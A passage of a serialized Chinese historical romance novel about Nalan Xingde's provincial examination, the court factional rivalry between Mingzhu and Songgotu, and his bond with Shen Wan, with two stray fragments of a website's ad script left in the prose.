这是在国子监共同进学期间,格尔芬对容若的评价。 如果自己参加秋考,仅仅是当成一场“成败无别”的挑战,那么纳兰兄似乎是走在一条“必将成功”的道路上,关键是,才高如纳兰兄,在众同窗面前从来都是谦逊有礼,不曾骄傲过。来日纳兰兄名成以德,必将是个好官! 纳兰兄那么好,处事待人有自己的一套准则,本着一颗真心,可以说是对得住任何人。 皇上真的忍心渐行渐深地去“消殆”自己的陪臣吗? 纳兰兄说过,理想是:文武两道皆圆满,报效国家。 凭借他的能力,只要有功名作为基盘,何愁不能成为国之栋梁?为什么要受制于皇上? 若是真应了阿玛索额图之说,那么格尔芬认为是上天对容若的不公。 ——胆识才华,心含远思,终将被皇权逼迫,折沉悲歌,难与运争。 ——同甘共苦,风雨不离,终将是恨有天知,河水东流,斯人不在。 【注2】 * 秋考前夜,容若安睡至被袖云叫醒,明珠失眠至管家来回话。 “老爷,长公子说自己去考场。” “派人给本官在后头悄悄跟着,不能让容若有一丁点闪失。” “是!” 厅内,容若仔仔细细地把一个额娘亲手包的、以蹄筋为馅儿的,象征“包中”和“题名”的粽子吃完。 谢过额娘,便去了明珠房间请安。 “阿玛吉祥。儿万事俱备,定能在考场上顺遂己意。” “好,阿玛祝你所求如愿!” “那儿出发了。” “一路顺风,考运昌盛!” * 秋高气爽,玉露迎风。 容若带着一身兰芳走进考场,恰好在中途碰见格尔芬。 “索公子,祝你下笔有神,文思泉涌。” “纳兰兄,祝你榜首题名啊!” “多谢!” “今早我吃了额娘做的:菱角红酱煨蹄筋,额娘祝我‘聪明伶俐’和‘朱笔题名’。”格尔芬笑了笑,“我说算了吧,什么朱笔御笔,我的卷子怎么可能送到皇上面前去被圣阅?能够过初试这一关,都已经是万幸了!” “之前皇上管我要的天文算术题,皇上费了几个月解出来了,然后另取了一张纸,用朱笔写了两个字:得解。我问皇上为什么非要我把这朱笔题字收下?皇上说:纳兰,你要你记住,什么都难不倒朕!包括你这个人,也难不倒朕!” “那题目是皇上管你要的?”格尔芬这才明白,“我还以为像阿玛说的那样,是你迷上了西洋科学、主动给皇上递题目煽动皇上的崇洋之心呢。” “索大人的话,你可以信但不能全信。”容若第一次知道,自己私下被索额图当着家人的面一轮,“不过,我阿玛明珠从来没在我面前提过你。” “我没什么好提的。”格尔芬嬉笑道,“一个自以为是、飞扬奔放的浪荡公子而已。对于所求,得之所幸,不得认命。” 容若从腰间取下兰草香包,赠予格尔芬。 “请索公子收下,如兰在身,芳泽笔墨,卷明义开,水到渠成。” “这是你亲手做给自己的吧?”格尔芬意识到了,“我怎么能收?你腰间少了这个,岂不是少了一份心情和一份雅致?” “才气没少就好。”容若温润和善地把兰草香包放在格尔芬手上,“希望索公子能考好,也希望索大人高兴、早日再闻喜报。” “纳兰兄,你真好!世上再没有像你这样的人了。” “索公子,你的考试小隔间在第几号?我陪你过去。” “天字二十八号。” 容若为格尔芬高兴:“好字号,好编号啊!” “我看就是提督学政那边买我阿玛索额图的脸,才这么编的,不然按照抽签编排,我哪能排上这样的佳位?那是在第一列居中、且采光和通风都极好的紫薇星降临之位!”格尔芬转而问,“纳兰兄你呢?” “天字十九号。”容若笑道,“我没求过谁,也不觉得阿玛跟谁打过招呼,就只当是苍天在眷顾我。”

'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' > 容若补充道:“其实赫舍里皇后诞下嫡长子以后,阿玛明珠在朝堂上就一直不太顺心。人都现实,提督学政那边知道投靠你阿玛索额图有利,自然不会在考场坐次上给明珠的儿子优待。能够被抽签安排到天字十九号,我心满意足。” “有没有可能是——” 格尔芬说到一半,打住了,他不想在纳兰面前提皇上。 “可能是什么?” 纳兰送格尔芬到小隔间门口,问他。 “可能是纳兰兄你本就应得这样的号舍和座次,是你自己修来的福报。” “但愿。” * “开考——” 三声鸣炮和一生敲锣之后,乡试正式开考。 这次秋考会持续九天,每三天一场,一共是三场。 第一场考经史八股,第二场考策论诗词,最后一场考艺学时务。 这些日子里,容若一方面消耗精神作答考题,一方面用自己的方式打发空闲时间。周围环境和诸多人事,对他几乎没有什么影响,他还是那个情绪平和的翩翩公子,堪称考场当中人人敬仰的“典范之人”。 科举考场上,不分什么贵公子和平民,所有考生在一样的时间里考一样的题目,凭的就是谁才华横溢和谁心理素质好。 当中,不缺乏弃考之人和疯魔之人,也不缺冥思苦想和呼天喊地之人,他们对题目或惊呼或埋怨,无不是在感慨:一身抱负和数载苦读,到最后究竟是错付还是成就。 容若一点没有题目难,他甚至很早就完成了考卷,单手支着脑袋养精神,使得在他对面的其他“天字号”考生们望之惊然。 容若自身合着眼睛静思,也就没有看到别人的反应,他觉得自己顾着身子的时候比集中精力答卷的时间要多,偶尔会吃些药,也是身子讯号之所需。 答卷迅速,是为才思敏捷; 落墨有神,是为底蕴深厚; 切题深刻,是为真才实学。 容若对此很自信,比规定的时间要早很多完成考题,如果可以,自己很想提前离场,回渌水亭去看看半池的粉瓣荷花。 苏轼说:“一朵芙蕖,开过尚盈盈。”自己完全可以当下就写出一句类似意境的话来:“相逢不语,一朵芙蓉著秋雨。” 就好比是这回秋考策论的题目:《功不同而共为一事,共事一君,何也?》【注3】,对容若而言,就跟是为自己定制的一样。 自己跟玄烨的君臣关系,可说的太多,不可说的也太多;过往的有许多,可期也有许多。唯独是当中依旧隔着一层透明的窗户纸,可以捅破可以补救,可以矜持可以维系,可以擦亮可以注视,却不能代入到考卷里面去。 考卷里面还是得拿历朝历代贤者贤主的例子来论,行文之间还是得按照八股的样式来写,甚至连看似独到的观点,也要小心翼翼地带上对儒学和对纲常的敬畏与认可。 容若这般告诫自己: “七分主观,三分客观,陈而不能全陈,述而不能全述,既要符合作答的套路,又要不隐藏自己的真知灼见,最好的办法就是:将见解含入深邃的典故之中,以自己之笔力,假先人之实例,融而贯之,讳而疏之,成站得住脚的、含金量高的一家之言。” 试卷被巡查官收走的那一刻,容若站了起来,浑身轻松。 结束了,顺天府乡试终于结束了,接下来静待佳音就好。 容若往过道的深处走,走向格尔芬的二十八号小隔间。 他很好奇—— 国子监开学的第一天,徐乾学就当众考过跟坡翁相关的题目【注4】,不知道机缘巧合之下,机敏投巧的索公子有没有押对这道考题? * 回到家里,容若向阿玛和额娘回应了考试的情况。 觉罗氏看容若的精神状态还好,不由得放下心来。 实际上容若不在家的日子里,她没少在明珠面前说担心儿子的话。明珠则端着为人父的架子,嘴上没有什么关切之语,心中反而牵挂长存。 容若平静道:“没什么难的,如同日常练笔一般。” 明珠问:“你写了些什么文章?” “儿写了一篇跟为臣之道相关的长文,基本上是不经停笔,一气呵成。” 明珠直面再问:“你没写什么不该写的东西吧?” “儿引经据典,有些照理说不能写的观点,也巧借前人之典说出来了。但是阿玛不必担心,阅卷官挑不出错来。” “阿玛早跟你说过,阅卷官不是别人,正是徐乾学!”明珠用指关节敲了敲桌面,“你的字全天下没人不认得,你的卷子会被以徐乾学和蔡启僔为首的阅卷官们‘下心思’去作判和对待。” “那儿也不怕。要是儿也跟别的考生一样为写大同小异的八股文章而绞尽脑汁,反而会看不起自己。徐先生公正判阅与否,自然有公论可鉴,他不敢担一个‘错失人才’之罪,别的阅卷官也不敢将儿的卷子故意针对。他们要看的,不仅仅是儿的一篇《策论》,还包括其他考核内容,综合评定之下,必出合理结果。” “你这般振振有词,是把官场想象的太美好了啊!”明珠忽然自责起来,“要怪就怪阿玛现在虎落平阳,在朝堂上的份量比不过索党。” “你阿玛的意思是,他怕自己的处境误了你的名次。”觉罗氏解释道,“之前他要求你在藏书楼苦读,是想借你的优异成绩来为自己的官场风云掌舵披靡。哪想如今,索额图这个‘天子的叔丈人’稳如泰山,人人趋之所向……” “儿会争气的。”容若起身,然后跪在明珠和觉罗氏跟前,“纳兰家在现在的阶段,儿学以致用、金榜题名,责无旁贷。” “老爷,容若是你的好儿子。”觉罗氏劝道,“你也不必这般外冷内热故作姿态,应当父子合力为纳兰家好好筹谋才是。” “是啊阿玛。”容若在明珠膝下,鼓励明珠道,“儿觉得机会可遇不可求,索额图既然能够凭借赫舍里皇后诞下嫡长子而呼风唤雨,那阿玛您不让他抓住下一个机会,不就能让明党反败为胜了?” 明珠重复了一遍:“下一个机会?” 容若在明珠耳边小声道:“暗派得力的人,盯着内阁……” 【注1】沈宛给容若“学业有成”的平安符,见第55章。 【注2】格尔芬《宿夜思纳兰·此憾篇》,预言家。 【注3】出自苏东坡:晋武平吴以独断而克,苻坚伐晋以独断而亡;齐桓专任管仲而霸,燕哙专任子之而败,事同而功异,何也? 【注4】国子监开学第一天,徐乾学拿苏东坡的文章考查诸生,见第56章。 72.第72章 贡院之内,主考官徐乾学和蔡启僔坐在厅内的正位上,与分坐两侧的其他十四名考官一同秉烛阅卷。 忽然间,右侧第二桌的张姓考官腾坐而起,一掷朱笔,仰天惊呼:“珠玉如此,大清之幸啊!” 蔡启僔抬头道:“张大人,你这样子成何体统?” “哎呀,蔡大人,徐大人。”张瞻远迅速从喜悦之中回过神下来,爱恨交织道,“这份卷子无可挑剔,只是……下官不敢判啊!” 徐乾学摆出官威,指着官职要低一级的张大人道:“你怎么就不敢判?照着阅卷章程和文墨透理深浅、论述条框疏严、通篇底蕴是良是偏来判就是。” 张瞻远激动道:“这份卷子,就算是名字被钉封了也知道是纳兰性德的呀!下官不敢独自拿主意。” “这……”蔡启僔和徐乾学面面相觑。 好一会儿,徐乾学才问张大人:“你说不敢拿主意,就是已经有主意了吗?还不快说——” 张瞻远大声道:“这纳兰性德的卷子,当属本官手中过卷的第一,当属顺天府中过卷的头筹,更是这大清首次的‘满蒙汉同排同录’模式选人才的榜首之作啊!” 贡院判卷场子内,全员皆惊。 “我可没有胡说啊,各位大人。”张瞻远扬起手中的卷册,“纳兰性德的策论,逻辑严谨,论据充分,用典精致,反思过往,契合当下,是一篇值得上呈给皇上看的大作!” 蔡启僔问:“张大人,你看过纳兰性德的‘经史八股’和‘艺学时务’的卷子了吗?如何啊?” 见张瞻远摇头,蔡启僔问向众同僚:“纳兰性德的另外两个场次的卷子在谁手里?立刻上报本官判阅结果。” 林姓考官道:“纳兰性德的经史八股,当属最优。” 曾姓考官道:“纳兰性德的艺学时务,也当属最优。” 徐乾学本想骂出一句:“这卷子都还没有全部看完,就个个说纳兰性德当属最优,哪里还有公平公正了?” 却也不得不矜持道:“蔡大人,本官以为,各位大人都饱读诗书和能够通过卷面文字来判断考生优劣之辈,如此认可爱徒容若也是不会出错的。更何况爱徒容若才华出众,天下公认。” “容下官多说一句,”张瞻远道,“原本皇上的‘岁末把笔’都是纳兰性德代写的,那是什么东西?给百官给全天下看的东西。纳兰性德连那样高水准的升平贺词都能写,区区考卷内容,不在话下啊!” “张大人。”徐乾学把脸色一沉,“有些君臣秘事,亦真亦假,不可妄议。” 等到张瞻远闭了嘴,徐乾学看向蔡启僔:“请蔡大人的意思,爱徒容若的卷子,该如何判?” 蔡启僔起身,秉公道:“等到全部卷子阅览完毕,再集中所长,对比排序来判。” 众考官齐声道:“蔡大人英明。” * 早晨,容若坐在渌水池边,一边尝芙蓉酥、一边看一朵新开的并蒂莲。 容若瞧着眼前风景,“有时候我宁愿做李商隐,多写无题词、多用晦涩典,叫谁都看不懂才好。” 袖云觉得容若任性的可爱,问他:“公子怎么了?哪句写并蒂莲的词输给义山了吗?” “一种情深,十分心苦,脉脉背斜阳【注1】。我这句词哪里写爱情了?“复又真挚天真地问向一池香散翠莲,“你们说是不是?” “斜阳引思,必是映着深情和苦心的,公子不能怪大家都这么想。”袖云瞧着容若的半侧的身子和半托的侧颜,“公子要是说这是酬客之作,恐怕也就只有袖云和张纯修相信。” “袖云,背对斜阳不是‘同为天涯沦落人,相逢何必曾相识’的意境吗?” “原来公子是想表达‘背对斜阳,同惆怅,有张纯修为挚友足矣’的意思吗?要不是跟在公子身边,亲眼见了公子跟张纯修一起在渌水亭作画题词,袖云也跟天下人一样,只当公子的‘斜阳’是道不尽柔情的缠绵之物。” “罢了。”容若温润一笑,“被当成爱情词就爱情词吧!” 袖云笑问:“公子可要喝一碗莲子百合羹来消消忿?” “袖云,我考考你:我要喝你亲手熬的秋汤,你猜我想吃去芯还是不去芯的莲子?我等你的秋汤。” “是。”袖云心里有数,温婉应罢,就往小厨房去了。 * 转眼,就到了八月底秋考的放榜日子。 跟别的考生挤在顺天府署门口看结果不同,留翰林院办事的高士奇早早地就前往明府道贺。 高士奇对明珠行了大礼,“下官参见明珠大人!” 明珠客气地把门客往里请,“如今索党凭借皇后娘娘而贵,本官在朝中‘落魄’至此,难得你还有心来见。” “下官誓死追随明珠大人。”高士奇坚定道,“还要告诉明珠大人一个好消息,贵公子成德喜提乡试榜首!” “好,好啊!”明珠心中大喜,对周围的仆人命令道,“还不快去告知夫人,和把长公子叫到本官身边来。” “明珠大人不必烦扰。”高士奇坐在厅内的客椅上,“索额图得势靠一个女人,而您却是有个争气的好儿子,上比下比,都是您后劲更强啊!” “如今本官是看开了,不管后宫对嫡长子承祜的降生如何重视、如何大搞排场,那也不过是在走祖宗家法的程序罢了。等到别的嫔妃也一并承沐雨露、诞下皇子之时,才是逐鹿之战的开始,一切都还得往前看呐。” “明珠大人您有如此心态,何愁不能东山再起?” “本官是该为皇上,为大清做点事了。” 明珠的嘴角勾出了一丝养精蓄锐已久的笑。 ——本官忍了索党整整三个月,还失手打容若一巴掌,叫他犯了心绞痛。 ——终于要连本带利地还回去了,索额图你等着,朝上有我,君侧有我儿,后宫有惠嫔,定要叫你尝尝什么叫做大起大落的滋味。 管家传话:“老爷,长公子来了。” 明珠回应:“好。” “成德请阿玛吉祥,请高大人礼。” “纳兰公子大喜呀!”高士奇恭贺道,“是获得了这次乡试满蒙汉同排同录当中的第一名。” ——预料之中的事情,反而没有特别高兴。 这是容若心里的真实想法。 “成德不负阿玛额娘养育之恩,不负国子监诸师教导之恩,才能取得今日成绩。往后,必将精进参加会试,再取佳绩。” “纳兰公子有惊世之才,日后成为殿试第一名,可是为满人读书人们扬眉吐气吐气啊!” “谢高大人吉言。”容若坐到高士奇对面,“不知可否谈正事?” “公子请讲。” “高大人诚心来明府,成德感激不尽。皇上的文治大略正在行施的关键时期,需要高大人凭借一张巧嘴助力,成德恳请高大人能够用话术牵制索党、适推明党。” “公子慧心远虑,竭力为父,本官没有推辞的道理。” “好,高大人与徐乾学同为江浙出身、同在翰林院为官,高大人日后是否有跟徐乾学连手发展江浙官僚集团的打算?要是有,成德劝高大人一句话:‘巨贪权臣’这四个,你担不起,勿要成为徐乾学的玩物,被利用而不自知。’高大人,没有人不渴望权力,变成权力的牺牲品不值得。” “公子这般戳我痛处。” “人总要有靠山,你追随我阿玛是不会错的。但成德还是那句话,不要指望徐乾学与你的同乡之情,能给你带来任何好处。说白了,就是徐乾学日后想设计针对纳兰父子的时候,成德希望高大人你依旧坚定地做明党之人,不要动摇立场,也不要妄图自立一派。” “高某谨记在心,绝不背叛明珠大人!” “无须说得太绝对,只要在该做对的时候,不做错就好。” * 高士奇走后。 纳兰父子坐到了正座的左右,交心而谈。 明珠恳切地对容若道:“儿啊,这次你高中乡试第一名,没能宾客盈门来府上相贺,是阿玛欠你的。” “阿玛别这么说,儿本就不喜欢太过热闹。”容若笑着,“高中的喜悦,一家人一起分享就好。” “等明年春考,也就是会试放榜以后,阿玛一定要让府上喜庆之声满载、登堂之客人心所向。你,肯给阿玛一个弥补的机会吗?” “嗯。”容若点头,“儿永远跟阿玛一起共进退。” 觉罗氏带着二公子和三公子过来。 “揆叙,揆方,你俩一同依照礼数,向长兄道贺。” “是,额娘。” “揆叙,揆方。祝长兄在乡试中题名榜首,实至名归。” 两个小家伙向着容若一叩头。 “同喜同乐。有家人的真挚之言,比什么都好。” 容若起身,把正座的位置腾出来归额娘坐,自己带两个弟弟坐到了侧坐上。 “老爷,人心可见呐。”觉罗氏感受着真实的环境,“但是人生嘛,总不可能事事顺坦、时时高光,这是咱们纳兰家前进路上的一道坎,迈过去就好了。” “额娘说的没错,阿玛千万不要自责。”容若平和道,“苦心人天不负,就当有许多人是乐意前来明府道贺的,只是碍于政治利益做了罢吧!” “是啊阿玛。”小揆叙道,“容若哥哥还是天下人的纳兰公子,天下肯定有很多人为他高兴的。我能感受的到。” 见二公子如此懂事,明珠的失落感减少了大半。 “咱们一家子,好好过咱们的日子。”明珠坚韧道,“我明珠的人生,妻贤子孝,就已经是一大幸事。此外该求的和该争的,都在其次。” 容若忽然双眸微润,小揆方问:“容若哥哥怎么了?” “长兄喜欢听‘一家子’这三个字,是高兴啊!” 容若单手擦眼而过,定了定神,教导弟弟们道:“揆叙,揆方,一起为这个家尽力,一起为阿玛和额娘尽身为儿子的本份。” “夫人,本官想一家人一起去渌水亭坐坐,如何?” “好,秋荷有秋荷的耐看。”觉罗氏欣然道,“容若,带上弟弟们一起。” * 另一边。索府。 有贡院的差使来报:“恭喜索大人,二公子中了举人!” 索额图压根没当回事,边笑边对夫人佟佳氏道:“他说咱们儿子中了举人,哈哈……花了眼吧,这怎么可能?除非今日的太阳打东边落下。” 佟佳氏倒是满心欢喜,恨不得这个好消息是真的。 那差使又道:“二公子才资卓越,不输纳兰性德。就单说此番考试的《策论》考卷,纳兰性德得了两位主考官和十四位考官公认的第一,索二公子也不差,乃是堂堂的第十位。” “老爷,他是说咱们儿子的《策论》文章……是全天下的第十名。” 佟佳氏激动的浑身颤抖,直到被一个丫鬟扶住,才消停了情绪。 “格尔芬几斤几两,本官能不知道吗?”索额图一个字不信那差使的话,“你该不会是明珠派来揶揄本官的吧?假传中举之事,可是死罪!” “小的不敢啊!”差使从身上拿出格尔芬中举的文书凭证来,双手举呈道,“请索大人过目。” 索额图仔细一看,没想到竟然是真的。 文书凭证上面,清清楚楚地写着格尔芬的名字和名次,考官的印鉴和提督学政的印鉴俱在,还有一行朱批,写着:以此告示。 索额图懵愣在原地,这格尔芬是走了什么运?难不成真是赫舍里一族的列祖列宗保佑,才让这纨绔也考取了功名? 这,是不是意味着格尔芬跟纳兰性德可以相提并论了? 哎,何曾有过这般讽刺之事?对比之下,纳兰性德的修身苦读竟好似微尘一般,在格尔芬这个特例面前显得不值一提。 “夫人,这是咱们儿子凭借自己的本事考中的举人啊!” 索额图紧抓着佟佳氏的手:“本官一直认为格尔芬不是读书的料,从笑话他要不要跟纳兰性德一起参加考试至今,从未动用过一点关系和人脉,除了那间‘天字号’的紫薇星号舍之外。” “老爷,您接下来打算怎么办?” “接下来本官要做的事情多了,要一步一步来。”索额图拍了拍身上的灰尘,“本官现在去祠堂给列祖列宗磕头谢恩!” * 容若去往“饮水词歌·素菜馆”的途中,一路听见了不少认得纳兰公子之人的贺喜声,这让他心中喜悦而踏实。 原来,除了明索党争的内外关系之外,别的“置身事外”之人,像是:尊敬纳兰公子的读书人们、仰慕纳兰公子的大清子民们、喜欢纳兰公子的各阶层人士……都是打着心里为纳兰公子独占鳌头而高兴的。 素菜馆内,有一水池,取名:环珏池。 池中有鱼,鱼游莲花间;花间有山,山修静禅心。 禅心有音,音绕主客迁;主客有缘,缘成结善因。 容若坐在池边,手握一支 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 竹竿“钓鱼”,唯求一份心情,一份意境。 来馆的雅客们往来公子而过,在小二的领路下,未曾有谁打扰公子。 沈宛比约定的时间来的要晚一些。 原因是徐乾学破天荒地在宋应星和张岱面前夸了纳兰性德的考卷,说:“优秀完美到了极致,经典考察分析到位,策论之言可见君侧陪臣器量与谋略。” 徐乾学说完纳兰性德的才学,又滔滔不绝地分享起了自己的阅卷感受,宋应星和张岱连插嘴都机会没有,沈宛自身,也是好不容易找了个借口,才从师傅那里脱身,飞速赶去见公子。 她出门的时候,听见了师傅的一句话:“御婵,赶去见心上人都没有你那么急!” 她很想大声回应:“御婵的确是!” 去见心上人。 到了“饮水词歌·素菜馆”,沈宛已然成为这里的熟客。 从生客到常客,再从常客到熟客,她走了很长一段路,因为按照她的身份和出身,是没有资格踏入这里的。 多亏了公子宽量宽和,才使得作为一个“汉人女子”和“来路待确”之人的她,有了入棺的机会。不止如此,公子还为两人特设一间专门的雅室,雅室名字叫做:一双人。 一只笔,诉尽心事无人解; 一双人,抱拥冷暖两相知。 沈宛喜欢雅室的名字,更喜欢公子这个人。 * 有堂人上前领路道:“宛姑娘可算是来了,公子在环珏池等待。” “公子等多久了?” “公子静若菩提,素心垂钓,已是半晌。” 沈宛来到容若身边,并排坐下,对着一池素莲。 “恭喜公子高中乡试第一,我打着心底里为公子高兴、想跟公子一起庆祝,等会咱们要一起吃‘什锦菜’、‘秋葵榨菜卷’和‘笋丁豆干粉丝包子’才好。” “宛卿祝我‘前程似锦’、‘魁星高照’和‘节节高升’,我祝宛卿心想事成。” “近些日子,公子不是应当在府上设宴招待前去庆贺的宾客吗?为什么得空到这里‘钓鱼’?” 沈宛从容若手中接过鱼竿,放在膝上,等鱼上钩。 “忠孝,忠孝。”容若重复了两遍这个儒家之词,“站在皇上那一边,我应当为索额图的侄女赫舍里皇后诞下嫡长子而高兴;站在阿玛这一边,我应当尽力让索额图一党扫兴,连带着也会扫皇上的兴。所以我难办。” 容若淡笑:“跟家里的并蒂莲说话说腻了,来这里放一根无钩的线去钓鱼,跟这里的池鱼说说话。” “那就当并蒂莲和池鱼,都能听懂公子的心语是什么好了。”沈宛用指尖轻晃钓竿,“我听见了,莲花和池鱼都说是。” “忘却功名喜,只身莲鱼间。 任它风云涌,自诩如一仙。 散闲知秋浓,多忙忘流年。 唯有素馆在,低唤绪万千。” 见容若淡泊名利,沈宛试图探解: “可是人,不都是在金榜题名的得意之日,盼着锣鼓喧嚣、众人同贺吗?这是公子人生路上的第一次大考,理应享受成功之喜。” “这么说来,还是跟宛卿说话最好。”容若安然而平静,“纳兰公子又无需‘热闹’养着,管那些三千世界的杂音做什么?” 跟容若相处了这么久,沈宛已经能够按照“容若的答话逻辑”来接上他的话了。 她对他道:“公子的寂寞不是门庭寥落的寂寞,而是苦读成果得证以后、无人加赞的寂寞。公子求的,是忠孝之下的学问之道和情谊之道。” 容若轻抚就近的一朵莲,好似为花朵分付一身慈悲。 “宛卿最懂我。” 容若把沈宛手中的钓竿抽走,放到了一边。 既然心事已解,那么钓竿也就不需要了。 * 走进“一双人”雅室,容若看见了比预定更多的饭菜。 小二开玩笑道:“小的知道公子和宛姑娘钓不到鱼,所以在两位点了的菜单之外,又多备了其他的。” “你怎知我没有钓到鱼?实际上我是满载而归。”容若坐下,身姿翩然,把玩笑的话梗抛给了身边人,“宛姑娘才是没钓到。” 沈宛嗔道:“分明是公子把原本该上我的钩的‘鱼’都揽走了,到头来我却成了两手空空之人。” “手空心不空,今日最大的收获就在于此。”容若把一只玉兔糕放进沈宛的碟中,“追月佳节将至,天上人间同是秋。我年年中秋节前都会吃这个,宛卿你也尝尝。我不跟你说口感口味,只说‘兔寒蟾冷桂花白’这七个字。” 沈宛敏锐道:“今年中秋,我与公子共赏金桂,定不会让公子错付了白桂。” 那小二也颇是聪明,应和了容若的心声: “小的一会就去置办金桂树,到时候公子和宛姑娘同来,圆月皎洁,桂香满院,岂非是人间最好?” “好,去办吧!” 差遣过了小二,容若安静地看沈宛慢品玉兔糕。 其实这些天他胃口一直不太好,说不上来为什么,就是身体忽冷忽热,像是寒症跳着季节来犯一般。 容若从身上掏出了一直带着的东西,道:“宛卿,谢谢你。学业有成的平安符,在考场上一直保佑着我。” “那公子可要到殿试为止都带着。”沈宛紧握容若的手,“它会继续保佑公子在殿试之后,也所求如愿的。” “你知道我如果在殿试当中拿了第一名的话,所求是什么吗?” “文能入翰林、步步青云至相位;武能当将军,赫赫战功至京官。” “所求不成当如何?” “那也应当留在天子身边,竭力辅佐。” “天子认为纳兰该杀,当如何?” “除非是死得其所,否则就抗旨不从。” “如果君非要臣死呢?” “公子不能死,苍天有眼、佛祖开眼、世人明眼,不会让公子死!” ——宛卿的回答,我会一辈子记着。 ——仕途、君臣关系,真到了不可挽回的那一天,我就多想想今日宛卿的话。 “近来我多吃带苦心的莲子百合羹,能去心火和补心脏。每每想到宛卿,我就不觉得苦,不管面对什么,都不觉得苦。” 容若拥抱沈宛在怀。 得一袭佳人风月,此情无边。 揽一身苦甜平分,不尽秋色。 【注1】纳兰性德《一丛花·咏并蒂莲》。 73.第73章 索额图已经是第三次到祠堂里面去给赫舍里一族的列祖列宗们磕头了。 这次,他带上了儿子格尔芬,等到“感恩仪式”完毕以后,父子二人回到了花园里就坐,观赏一盆盆新摆的秋菊。 听到“押对题”这三个字时,索额图惊问:“我儿如此厉害?” “阿玛,开学第一天,徐乾学考诸生的题目中就有跟苏东坡相关的《策论》,所以儿才准备的充实。” 索额图喝了一口茶,“那你如何知道往‘君臣关系’上面去思索文章?” “儿当然不是只准备这一篇文章,儿的脑海里,”格尔芬指着自己脑袋,“思索出来了整整二十篇‘论题’的行文框架!” “你……竟然这般有心、这般完善。”索额图对格尔芬是刮目相看,“阿玛还以为你这辈子也就这样,只能子承父位,没想到可以盼来你有出息的一天。” 佟佳氏问:“儿啊,接下来是春季的会试,你可没法根据国子监的先生们的言行提问来押题,更要好好读书才是。” “儿有一个宝物。” “你该不会是想作弊吧?”索额图惊问,“阿玛先警告你,别因为你一个人的错行,把这个家的声誉全给毁了!即便是你会试落榜,也没人会怪你,照着阿玛的安排来领职进宫做事就是。” “儿是指这个。”格尔芬从腰间解下宝物,“兰草香包,纳兰兄送我的,高洁如他,助我文思。” “糊涂啊!”索额图语重心长地一训,“你怎么能收纳兰性德给的东西?” “怎么不能,纳兰兄是真心祝愿我在秋考上‘兰桂齐芳’的呀!” “万一他想害你呢?”索额图警醒道,“这香包里面要装了什么不怀好意的心机,被巡考官查了出来,你向谁说理去?没准连本官和明珠都会被卷进去。” “儿以为,阿玛你不该拿看待明珠的习惯,去看待明珠的长公子。” “把这个兰草香包拆了!”索额图忽然下了命令,“本官倒要看看,纳兰性德在搞什么鬼。” “要是儿不听呢?” “不听?”索额图单手叉腰,“那你想干什么?” “儿要跟纳兰兄一并庆贺乡试中举之事,包下‘花鸟风月楼’的场子!” “混账!”索额图大骂,“来府上相贺的宾客你不好好接待,一副心思去亲近明珠的儿子,我怎么会教导出你这样一个不知好歹的儿子?” 格尔芬挺直腰板道:“接下来中举者要一并去拜见座师徐乾学,诸生都是认纳兰兄的才华和看纳兰兄的面子的,儿自然也是跟纳兰兄一起去,不搞特立独行。” “夫人有何话说?” “明府安静异常,老爷你说是明珠自甘如此?还是真的在党争之中处于下风,无人前去给他的温润公子说句吉祥话?” “风水轮流转罢了!当初索府冷冷清清的时候,本官是怎么过来的?如今也该叫明珠尝尝滋味了。要怪就怪他的儿子即便是高居榜首,也没有百鸟朝凤的命。” “纳兰父子的心态倒是好。” “好什么?”索额图一挑眉,“指不定一起在酝酿什么损招来攻击本官呢!” * 朴尔普带着女儿云辞一起去了明府。 阿玛不在,容若就独自接待瓜尔佳氏父女。 不过,朴尔普和云辞这趟来,不是为祝贺中举之事,而是为朝堂上的风云。 “容若,你可知道在朝堂上你阿玛说什么了?先是指责内阁【注1】,后是抨击小阿哥承祜恩宠太多于礼制不符,处处在跟索额图过不去啊!” “说该说的话,管该管的事,没什么不妥。”容若接着问,“皇上是什么态度?” “皇上处在自知和为难之间。”朴尔普就事论事,“本官觉得明珠大人说出了不少大臣的心声,最近皇上确实是过于放纵内阁和有失雨露于后宫了。” 容若一惊:“难道阿玛现在是在养心殿里跟皇上据理力争?” “是啊!”朴尔普忧心忡忡道,“退朝以后,就只有明珠大人往养心殿那边走了。” “惊动太皇太后了吗?” “这本官不知道。但是容若你想想,太皇太后总归是一个女人,后宫之事就是她做主啊!那些过分繁多和奢侈的礼节和家宴用在小阿哥承祜身上,没有太皇太后点头能行吗?所以明珠大人哪怕是忠谏,也是碰在了钉子上。” “阿玛不是因为党争才这么进言的。”容若明白明珠的意思,“后宫对一个尚未满周岁的皇子‘恩礼过甚’的风气一旦起来,必将叫往后的嫔妃向往之和效仿之,不利于中宫皇后名声,更会挑起嫔妃不安分守己的苗头,无益之处太多。” “关键是有多少人能跟你想的一样呢?朴尔普反问,”大家都会认为:明珠大人为了反击索党,一下子就拿后宫开了刀,完全不顾皇上和太皇太后的颜面。“ 容若忽然明白了朴尔普的意思: 与其说是来传音讯,不如说是来卖人情。 果然,下一刻,朴尔普立刻道:“小女云辞敢说话,容若你会说话,你俩现在得一块儿进宫去,否则皇上和太皇太后一并生了气,对你阿玛不利啊!“ “云辞。”容若问她,“你觉得呢?” “公子,人如鱼,遇水则生离水则死,你不能这般赋闲在家,应让皇上认清一个理儿:索额图的治国安邦之能,输于弄权傍戚之心;明珠的为臣生存之道,胜于安身立命之本份。云辞可有说错?” “没有。” “后宫之事,想必云辞想对皇上直言的话,与公子所想有诸多类似,但是为了大清为了皇上,不得不说。明珠大人一己之力未必够,还需要你我这样的同龄人才行。” “你我还未成亲——” 云辞你怎就知一定劝得动皇上? “快了——” 公子,你我不是第一次配合行事,可速可达。 反观朴尔普,就女儿云辞和纳兰“贤婿”的对话的字面意思听来,禁不住是大喜,只当是:郎有情,女有意,相互之间情投意合,可以慢慢走到一块去。 * 养心殿内,玄烨和明珠原本正在冷战。 玄烨一看见顾总管把纳兰和云辞格格一并领了进来,瞬间大怒,拍案道:“你俩是来给明珠说情的?还是来像明珠一样指责朕的不是的?” 复又强调了一句:“赫舍里皇后是中宫,嫡长子本就有别于其他皇子,享受礼节优待和宴喜之乐,碍着你俩了吗?” 云辞犀利指出:“重女子而不重臣子,偏嫡子而死要面子,皇上你算是明君吗?” 玄烨脸上掠过一阵乌云,对方“骂”的如此直白,怕是连三朝老臣都不敢。 纳兰陪跪在明珠身侧,直言道: 